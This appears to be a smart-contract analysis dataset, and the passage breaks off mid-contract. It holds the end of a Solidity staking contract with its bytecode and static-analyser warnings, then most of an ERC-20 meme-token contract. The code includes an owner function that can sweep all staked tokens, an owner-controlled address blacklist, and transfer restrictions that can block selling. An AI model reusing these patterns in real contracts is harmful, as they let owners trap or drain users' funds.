stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = tokensToStake.add(stakers[msg.sender].stakedTokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; totalStakes = totalStakes.add(tokensToStake); addStakeholder(msg.sender); emit STAKED(msg.sender, tokens); } // ------------------------------------------------------------------------ // Owners can send the funds to be distributed to stakers using this function // @param tokens number of tokens to distribute // ------------------------------------------------------------------------ function ADDFUNDS(uint256 tokens) external onlyWhitelistAdmin{ //can only be called by regrewardContract uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10); uint256 tokens_ = (tokens.sub(transferTxFee)); _addPayout(tokens_); } function ADDFUNDS1(uint256 tokens) external{ require(IERC20(fETH).transferFrom(msg.sender, address(this), tokens), "Tokens cannot be transferred from funder account"); uint256 transferTxFee = (onePercent(tokens).mul(txFee1)).div(10); uint256 tokens_ = (tokens.sub(transferTxFee)); _addPayout(tokens_); } function DisributeTxFunds() external { // Distribute tx fees collected for conversion into rewards uint256 transferToAmount = (IERC20(TRY).balanceOf(address(this))).sub(totalStakes); require(IERC20(TRY).transfer(address(owner), transferToAmount), "Error in un-staking tokens"); } // ------------------------------------------------------------------------ // Private function to register payouts // ------------------------------------------------------------------------ function _addPayout(uint256 tokens_) private{ // divide the funds among the currently staked tokens // scale the deposit and add the previous remainder uint256 available = (tokens_.mul(scaling)).add(scaledRemainder); uint256 dividendPerToken = available.div(totalStakes); scaledRemainder = available.mod(totalStakes); totalDividends = totalDividends.add(dividendPerToken); payouts[round] = payouts[round - 1].add(dividendPerToken); emit PAYOUT(round, tokens_, msg.sender); round++; } // ------------------------------------------------------------------------ // Stakers can claim their pending rewards using this function // ------------------------------------------------------------------------ function CLAIMREWARD() public nonReentrant{ if(totalDividends > stakers[msg.sender].fromTotalDividend){ uint256 owing = pendingReward(msg.sender); owing = owing.add(stakers[msg.sender].remainder); stakers[msg.sender].remainder = 0; require(IERC20(fETH).transfer(msg.sender,owing), "ERROR: error in sending reward from contract"); emit CLAIMEDREWARD(msg.sender, owing); stakers[msg.sender].lastDividends = owing; // unscaled stakers[msg.sender].round = round; // update the round stakers[msg.sender].fromTotalDividend = totalDividends; // scaled } } // ------------------------------------------------------------------------ // Get the pending rewards of the staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function pendingReward(address staker) private returns (uint256) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); stakers[staker].remainder += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return amount; } function getPendingReward(address staker) public view returns(uint256 _pendingReward) { require(staker != address(0), "ERC20: sending to the zero address"); uint stakersRound = stakers[staker].round; uint256 amount = ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)).div(scaling); amount += ((totalDividends.sub(payouts[stakersRound - 1])).mul(stakers[staker].stakedTokens)) % scaling ; return (amount.add(stakers[staker].remainder)); } // ------------------------------------------------------------------------ // Stakers can un stake the staked tokens using this function // @param tokens the number of tokens to withdraw // ------------------------------------------------------------------------ function WITHDRAW(uint256 tokens) external nonReentrant{ require(stakers[msg.sender].stakedTokens >= tokens && tokens > 0, "Invalid token amount to withdraw"); totalStakes = totalStakes.sub(tokens); // add pending rewards to remainder to be claimed by user later, if there is any existing stake uint256 owing = pendingReward(msg.sender); stakers[msg.sender].remainder += owing; stakers[msg.sender].stakedTokens = stakers[msg.sender].stakedTokens.sub(tokens); stakers[msg.sender].lastDividends = owing; stakers[msg.sender].fromTotalDividend= totalDividends; stakers[msg.sender].round = round; require(IERC20(TRY).transfer(msg.sender, tokens), "Error in un-staking tokens"); emit UNSTAKED(msg.sender, tokens); if(perform==true) { regreward(regrewardContract).distributeAll(); } } // ------------------------------------------------------------------------ // Private function to calculate 1% percentage // ------------------------------------------------------------------------ function onePercent(uint256 _tokens) private pure returns (uint256){ uint256 roundValue = _tokens.ceil(100); uint onePercentofTokens = roundValue.mul(100).div(100 * 10**uint(2)); return onePercentofTokens; } // ------------------------------------------------------------------------ // Get the number of tokens staked by a staker // @param _staker the address of the staker // ------------------------------------------------------------------------ function yourStakedTRY(address staker) public view returns(uint256 stakedTRY){ require(staker != address(0), "ERC20: sending to the zero address"); return stakers[staker].stakedTokens; } // ------------------------------------------------------------------------ // Get the TRY balance of the token holder // @param user the address of the token holder // ------------------------------------------------------------------------ function yourTRYBalance(address user) external view returns(uint256 TRYBalance){ require(user != address(0), "ERC20: sending to the zero address"); return IERC20(TRY).balanceOf(user); } function emergencySaveLostTokens(address _token) public onlyOwner { require(IERC20(_token).transfer(owner, IERC20(_token).balanceOf(address(this))), "Error in retrieving tokens"); owner.transfer(address(this).balance); } function changeregrewardContract(address _regrewardContract) external onlyOwner{ require(address(_regrewardContract) != address(0), "setting 0 to contract"); regrewardContract = _regrewardContract; } function changePerform(bool _bool) external onlyOwner{ perform = _bool; } }
0x608060405234801561001057600080fd5b50600436106101e55760003560e01c8063997664d71161010f578063c3f344a8116100a2578063e5c42fd111610071578063e5c42fd114610476578063ef037b901461049c578063f2fde38b146104c2578063f83d08ba146104e8576101e5565b8063c3f344a814610423578063ca84d59114610449578063cc14d68814610466578063cf8204611461046e576101e5565b8063b53d6c24116100de578063b53d6c24146103d0578063b6ee290a146103ed578063bb5f747b146103f5578063bf9befb11461041b576101e5565b8063997664d71461037e578063b068431814610386578063b147f40c1461038e578063b29ce5a0146103aa576101e5565b80634df9d6ba116101875780637a75572c116101565780637a75572c1461032b5780637f5dcbe3146103485780638ade8d8c1461036e5780638da5cb5b14610376576101e5565b80634df9d6ba1461029c5780634f49e655146102c25780635ac072d7146102e15780637362d9c814610305576101e5565b80632c75bcda116101c35780632c75bcda146102495780634baf782e146102665780634bc763341461026e5780634c5a628c14610294576101e5565b8063146ca531146101ea578063200681391461020457806329652e861461022c575b600080fd5b6101f26104f0565b60408051918252519081900360200190f35b61022a6004803603602081101561021a57600080fd5b50356001600160a01b03166104f6565b005b6101f26004803603602081101561024257600080fd5b5035610698565b61022a6004803603602081101561025f57600080fd5b50356106aa565b61022a61096d565b61022a6004803603602081101561028457600080fd5b50356001600160a01b0316610b4d565b61022a610bd9565b6101f2600480360360208110156102b257600080fd5b50356001600160a01b0316610be4565b61022a600480360360208110156102d857600080fd5b50351515610d09565b6102e9610d33565b604080516001600160a01b039092168252519081900360200190f35b61022a6004803603602081101561031b57600080fd5b50356001600160a01b0316610d42565b61022a6004803603602081101561034157600080fd5b5035610d92565b6101f26004803603602081101561035e57600080fd5b50356001600160a01b0316610e88565b6102e9610f4e565b6102e9610f5d565b6101f2610f6c565b61022a610f72565b6103966110d4565b604080519115158252519081900360200190f35b6101f2600480360360208110156103c057600080fd5b50356001600160a01b03166110dd565b61022a600480360360208110156103e657600080fd5b5035611140565b6101f2611184565b6103966004803603602081101561040b57600080fd5b50356001600160a01b031661118a565b6101f261119d565b6101f26004803603602081101561043957600080fd5b50356001600160a01b03166111a3565b61022a6004803603602081101561045f57600080fd5b50356111b5565b6102e96113b4565b6101f26113c3565b61022a6004803603602081101561048c57600080fd5b50356001600160a01b03166113c9565b610396600480360360208110156104b257600080fd5b50356001600160a01b0316611439565b61022a600480360360208110156104d857600080fd5b50356001600160a01b031661148e565b6101f2611535565b600d5481565b6000546001600160a01b0316331461050d57600080fd5b600054604080516370a0823160e01b815230600482015290516001600160a01b038085169363a9059cbb9391169184916370a08231916024808301926020929190829003018186803b15801561056257600080fd5b505afa158015610576573d6000803e3d6000fd5b505050506040513d602081101561058c57600080fd5b5051604080516001600160e01b031960e086901b1681526001600160a01b03909316600484015260248301919091525160448083019260209291908290030181600087803b1580156105dd57600080fd5b505af11580156105f1573d6000803e3d6000fd5b505050506040513d602081101561060757600080fd5b505161065a576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e2072657472696576696e6720746f6b656e73000000000000604482015290519081900360640190fd5b600080546040516001600160a01b03909116914780156108fc02929091818181858888f19350505050158015610694573d6000803e3d6000fd5b5050565b60126020526000908152604090205481565b60026001541415610702576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b60026001553360009081526011602052604090205481118015906107265750600081115b610777576040805162461bcd60e51b815260206004820181905260248201527f496e76616c696420746f6b656e20616d6f756e7420746f207769746864726177604482015290519081900360640190fd5b60065461078490826115bc565b600655600061079233611605565b33600090815260116020526040902060048101805483019055549091506107b990836115bc565b33600081815260116020908152604080832094855560018501869055600a546002860155600d546003958601559354845163a9059cbb60e01b815260048101949094526024840187905293516001600160a01b039094169363a9059cbb93604480820194918390030190829087803b15801561083457600080fd5b505af1158015610848573d6000803e3d6000fd5b505050506040513d602081101561085e57600080fd5b50516108b1576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b604080513381526020810184905281517f4c48d8823de8aa74e6ea4bed3a0c422e95a3d1e10f8f3e47dc7e2fe779be9514929181900390910190a160075460ff1615156001141561096557600560009054906101000a90046001600160a01b03166001600160a01b031663436596c46040518163ffffffff1660e01b8152600401600060405180830381600087803b15801561094c57600080fd5b505af1158015610960573d6000803e3d6000fd5b505050505b505060018055565b600260015414156109c5576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b600260018190553360009081526011602052604090200154600a541115610b475760006109f133611605565b33600090815260116020526040902060040154909150610a12908290611713565b33600081815260116020908152604080832060049081018490558054825163a9059cbb60e01b8152918201959095526024810186905290519495506001600160a01b039093169363a9059cbb93604480820194918390030190829087803b158015610a7c57600080fd5b505af1158015610a90573d6000803e3d6000fd5b505050506040513d6020811015610aa657600080fd5b5051610ae35760405162461bcd60e51b815260040180806020018281038252602c815260200180611c50602c913960400191505060405180910390fd5b604080513381526020810183905281517f8a0128b5f12decc7d739e546c0521c3388920368915393f80120bc5b408c7c9e929181900390910190a13360009081526011602052604090206001810191909155600d546003820155600a546002909101555b60018055565b6000546001600160a01b03163314610b6457600080fd5b6001600160a01b038116610bb7576040805162461bcd60e51b81526020600482015260156024820152741cd95d1d1a5b99c80c081d1bc818dbdb9d1c9858dd605a1b604482015290519081900360640190fd5b600580546001600160a01b0319166001600160a01b0392909216919091179055565b610be23361176d565b565b60006001600160a01b038216610c2b5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b6001600160a01b03821660009081526011602090815260408083206003810154600c54915460001982018652601290945291842054600a54929493610c8493610c7e92610c7891906115bc565b906117af565b90611808565b600c546001600160a01b03861660009081526011602090815260408083205460001988018452601290925290912054600a549394509192610cc992610c7891906115bc565b81610cd057fe5b6001600160a01b0386166000908152601160205260409020600401549190069190910190610cff908290611713565b925050505b919050565b6000546001600160a01b03163314610d2057600080fd5b6007805460ff1916911515919091179055565b6003546001600160a01b031681565b610d4b3361118a565b610d865760405162461bcd60e51b8152600401808060200182810382526040815260200180611d026040913960400191505060405180910390fd5b610d8f8161184a565b50565b60048054604080516323b872dd60e01b8152339381019390935230602484015260448301849052516001600160a01b03909116916323b872dd9160648083019260209291908290030181600087803b158015610ded57600080fd5b505af1158015610e01573d6000803e3d6000fd5b505050506040513d6020811015610e1757600080fd5b5051610e545760405162461bcd60e51b8152600401808060200182810382526030815260200180611d426030913960400191505060405180910390fd5b6000610e6a600a610c7e600954610c788661188c565b90506000610e7883836115bc565b9050610e83816118af565b505050565b60006001600160a01b038216610ecf5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b600354604080516370a0823160e01b81526001600160a01b038581166004830152915191909216916370a08231916024808301926020929190829003018186803b158015610f1c57600080fd5b505afa158015610f30573d6000803e3d6000fd5b505050506040513d6020811015610f4657600080fd5b505192915050565b6005546001600160a01b031681565b6000546001600160a01b031681565b600a5481565b600654600354604080516370a0823160e01b81523060048201529051600093610ffb9390926001600160a01b03909116916370a0823191602480820192602092909190829003018186803b158015610fc957600080fd5b505afa158015610fdd573d6000803e3d6000fd5b505050506040513d6020811015610ff357600080fd5b5051906115bc565b600354600080546040805163a9059cbb60e01b81526001600160a01b03928316600482015260248101869052905194955092169263a9059cbb926044808201936020939283900390910190829087803b15801561105757600080fd5b505af115801561106b573d6000803e3d6000fd5b505050506040513d602081101561108157600080fd5b5051610d8f576040805162461bcd60e51b815260206004820152601a60248201527f4572726f7220696e20756e2d7374616b696e6720746f6b656e73000000000000604482015290519081900360640190fd5b60075460ff1681565b60006001600160a01b0382166111245760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b506001600160a01b031660009081526011602052604090205490565b6111493361118a565b610e545760405162461bcd60e51b8152600401808060200182810382526040815260200180611d026040913960400191505060405180910390fd5b60095481565b600061119760028361199a565b92915050565b60065481565b600e6020526000908152604090205481565b6002600154141561120d576040805162461bcd60e51b815260206004820152601f60248201527f5265656e7472616e637947756172643a207265656e7472616e742063616c6c00604482015290519081900360640190fd5b6002600155600354604080516323b872dd60e01b81523360048201523060248201526044810184905290516001600160a01b03909216916323b872dd916064808201926020929091908290030181600087803b15801561126c57600080fd5b505af1158015611280573d6000803e3d6000fd5b505050506040513d602081101561129657600080fd5b50516112d35760405162461bcd60e51b8152600401808060200182810382526032815260200180611c1e6032913960400191505060405180910390fd5b60006112e9600a610c7e600854610c788661188c565b905060006112f783836115bc565b9050600061130433611605565b336000908152601160205260409020600481018054830190555490915061132c908390611713565b33600090815260116020526040902090815560018101829055600a546002820155600d546003909101556006546113639083611713565b60065561136f336113c9565b604080513381526020810186905281517f4031c63bb53dc5dfada7ef8d75bef8c44d0283658c1585fc74107ed5b75e97c8929181900390910190a15050600180555050565b6004546001600160a01b031681565b60085481565b60006113d482611439565b9050806106945760108054600181019091557f1b6847dc741a1b0cd08d278845f9d819d87b734759afb55fe2de5cb82a9ae6720180546001600160a01b0384166001600160a01b0319909116179055336000908152600e602052604090204290555050565b6000805b601054811015611485576010818154811061145457fe5b6000918252602090912001546001600160a01b038481169116141561147d576001915050610d04565b60010161143d565b50600092915050565b6000546001600160a01b031633146114a557600080fd5b6001600160a01b0381166114ea5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b600f5481565b611545828261199a565b15611597576040805162461bcd60e51b815260206004820152601f60248201527f526f6c65733a206163636f756e7420616c72656164792068617320726f6c6500604482015290519081900360640190fd5b6001600160a01b0316600090815260209190915260409020805460ff19166001179055565b60006115fe83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a01565b9392505050565b60006001600160a01b03821661164c5760405162461bcd60e51b8152600401808060200182810382526022815260200180611c9d6022913960400191505060405180910390fd5b6001600160a01b03821660009081526011602090815260408083206003810154600c54915460001982018652601290945291842054600a5492949361169993610c7e92610c7891906115bc565b600c546001600160a01b03861660009081526011602090815260408083205460001988018452601290925290912054600a5493945091926116de92610c7891906115bc565b816116e557fe5b6001600160a01b03959095166000908152601160205260409020600401805491909506019093555090919050565b6000828201838110156115fe576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b611778600282611a98565b6040516001600160a01b038216907f0a8eb35e5ca14b3d6f28e4abf2f128dbab231a58b56e89beb5d636115001e16590600090a250565b6000826117be57506000611197565b828202828482816117cb57fe5b04146115fe5760405162461bcd60e51b8152600401808060200182810382526021815260200180611cbf6021913960400191505060405180910390fd5b60006115fe83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611aff565b61185560028261153b565b6040516001600160a01b038216907f22380c05984257a1cb900161c713dd71d39e74820f1aea43bd3f1bdd2096129990600090a250565b60008061189a836064611b64565b90506000610cff612710610c7e8460646117af565b60006118d2600b546118cc600c54856117af90919063ffffffff16565b90611713565b905060006118eb6006548361180890919063ffffffff16565b905061190260065483611b7e90919063ffffffff16565b600b55600a546119129082611713565b600a55600d54600019016000908152601260205260409020546119359082611713565b600d805460009081526012602090815260409182902093909355905481519081529182018590523382820152517fddf8c05dcee82ec75482e095e6c06768c848d5a7df7147686033433d141328b69181900360600190a15050600d8054600101905550565b60006001600160a01b0382166119e15760405162461bcd60e51b8152600401808060200182810382526022815260200180611ce06022913960400191505060405180910390fd5b506001600160a01b03166000908152602091909152604090205460ff1690565b60008184841115611a905760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611a55578181015183820152602001611a3d565b50505050905090810190601f168015611a825780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b611aa2828261199a565b611add5760405162461bcd60e51b8152600401808060200182810382526021815260200180611c7c6021913960400191505060405180910390fd5b6001600160a01b0316600090815260209190915260409020805460ff19169055565b60008183611b4e5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a55578181015183820152602001611a3d565b506000838581611b5a57fe5b0495945050505050565b6000818260018486010381611b7557fe5b04029392505050565b60006115fe83836040518060400160405280601881526020017f536166654d6174683a206d6f64756c6f206279207a65726f000000000000000081525060008183611c0a5760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611a55578181015183820152602001611a3d565b50828481611c1457fe5b0694935050505056fe546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d207573657220666f72206c6f636b696e674552524f523a206572726f7220696e2073656e64696e67207265776172642066726f6d20636f6e7472616374526f6c65733a206163636f756e7420646f6573206e6f74206861766520726f6c6545524332303a2073656e64696e6720746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77526f6c65733a206163636f756e7420697320746865207a65726f206164647265737357686974656c69737441646d696e526f6c653a2063616c6c657220646f6573206e6f742068617665207468652057686974656c69737441646d696e20726f6c65546f6b656e732063616e6e6f74206265207472616e736665727265642066726f6d2066756e646572206163636f756e74a26469706673582212203fe5a8e558b4418ece5ea0a11bbafb4391786714afe2a75c09ae12a7a363724e64736f6c63430007050033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,307
0xc149e886692325c911cb4c9770a18d95e812fd83
//Salt Bae Inu (SaltBaeInu) /* ..................................................................................... ....................................:O8@8O8:......................................... ..................................8@@Oo@@o::8O....................................... ...................8:O:oo:......:@@@@8@88oOoo:8:..................................... ...................8oo8o:8:O....@@8oo8@888OOo::8..................................... ..............ooo8.8ooooOo::8..@@@8OOO@888@@O::O:.................................... ...............OOoo8OOOOOOo:8.o@@8OoooooO@@O:o:oO.................................... ................:@OoooOOOOOO:8:8@OoooooooooO8ooO:.................................... ..................O8ooooooooo@.O8o8OoooooOOOOOO8..................................... ....................8Oooooooo8.88ooOOo8oooOOOO@...................................... .....................@OoOOO8@..:OOO@@88:8@88@o....................................... .....................8Ooo:oOo..o88OooOO:OOOOoOO888:.................................. .....................O8Oo::o8:.OO8O88@OO8Oo8Ooo:.::.o................................ .....................888Oooo8....o@OOOoOO@Oooo8::.:o.:............................... .....................@8oOo:oo8..:oOO@OO888oooo:oO.:::8............................... ....................o8OoOo:::oO...oo.ooOooooo:ooOO..:o............................... ....................8OoOOoooooOooo:..:o:.8OOOoooOO:..8............................... ...................:8OOOOooo:::8ooooo:...:oo:oOoo:...:o.............................. ...................88OOooooooo::8oo::o::o:...:o:.....8:o............................. ...................88OOoooooooooOoooo..oo.:ooo::ooo..8OO:............................ ...................o88Ooooooo:ooOOooooo..oo:.:oooooo88oo8............................ ....................88OOooooo:oOOoOoo:oo:.:.oo......:8Oooo........................... .....................88OOOooo:oOOOooooooooo....oo....8OOo@........................... .......................O@@@@8OOOoooOooooooooo:.......8OOo8........................... ...........................@OOoOoO:ooooooooo:..:oo..:8OOO8:.......................... ............................@oOOooooo:ooooooooo:...:.88OoO:.......................... ............................88oOOoOoooooooooooooo:...888ooo.......................... .............................@OOOOOOOooooooooooooo:..88888::......................... .............................8OOoOOOOooooooooo:oooo..88@8o8:......................... .............................O@oOOOOOOOo:oooooooo:...@8o:o:o8........................ .............................O@ooooooooooooooooOoOOo8@@8OOOo:o....................... .............................@@@@@8OOooooooooOooooO@@@@88@@O:O....................... ............................:@@@@O@@@8OO8@O@@@@8:::@@@@@@@@8oo....................... .................OooO...:o:.:@@@8@@@@@o.O@@8.@@@O..@@@@@@@@@@......::................ ...............O8.@OO88.:8:.88.::..8@O:.O8:...:@O..:...8@..:..o:O:.oO.oO............. ..............:@8:@:@@8....o@@8@8:.:@@:.O@@..@@@O..@@o.:@8@8o..@:..::..O:............ ..............oO:oo:O8O.O@o.8:.o@..:@@o.O@@..88oO..@@:.:O..@O..@o..@@@@o............. ...............OO@88..o8o:o8:OOoOOOo88OOO8.OOO8:8OO8OO8:oOoOO8oOoOOooOO.............. ..................................................................................... */ //Limit Buy //Cooldown //Bot Protect //Liqudity dev provides and lock //TG: https://t.me/saltbaeinu //Website: TBA //CG, CMC listing: Ongoing // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract SaltBaeInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Salt Bae Inu"; string private constant _symbol = "\xF0\x9F\xA5\xA9 \xF0\x9F\xA7\x82 SALTINU \xF0\x9F\xA7\x82 \xF0\x9F\xA5\xA9"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 5; uint256 private _teamFee = 10; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 5; _teamFee = 12; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (15 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.div(2)); _marketingFunds.transfer(amount.div(2)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 2500000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = 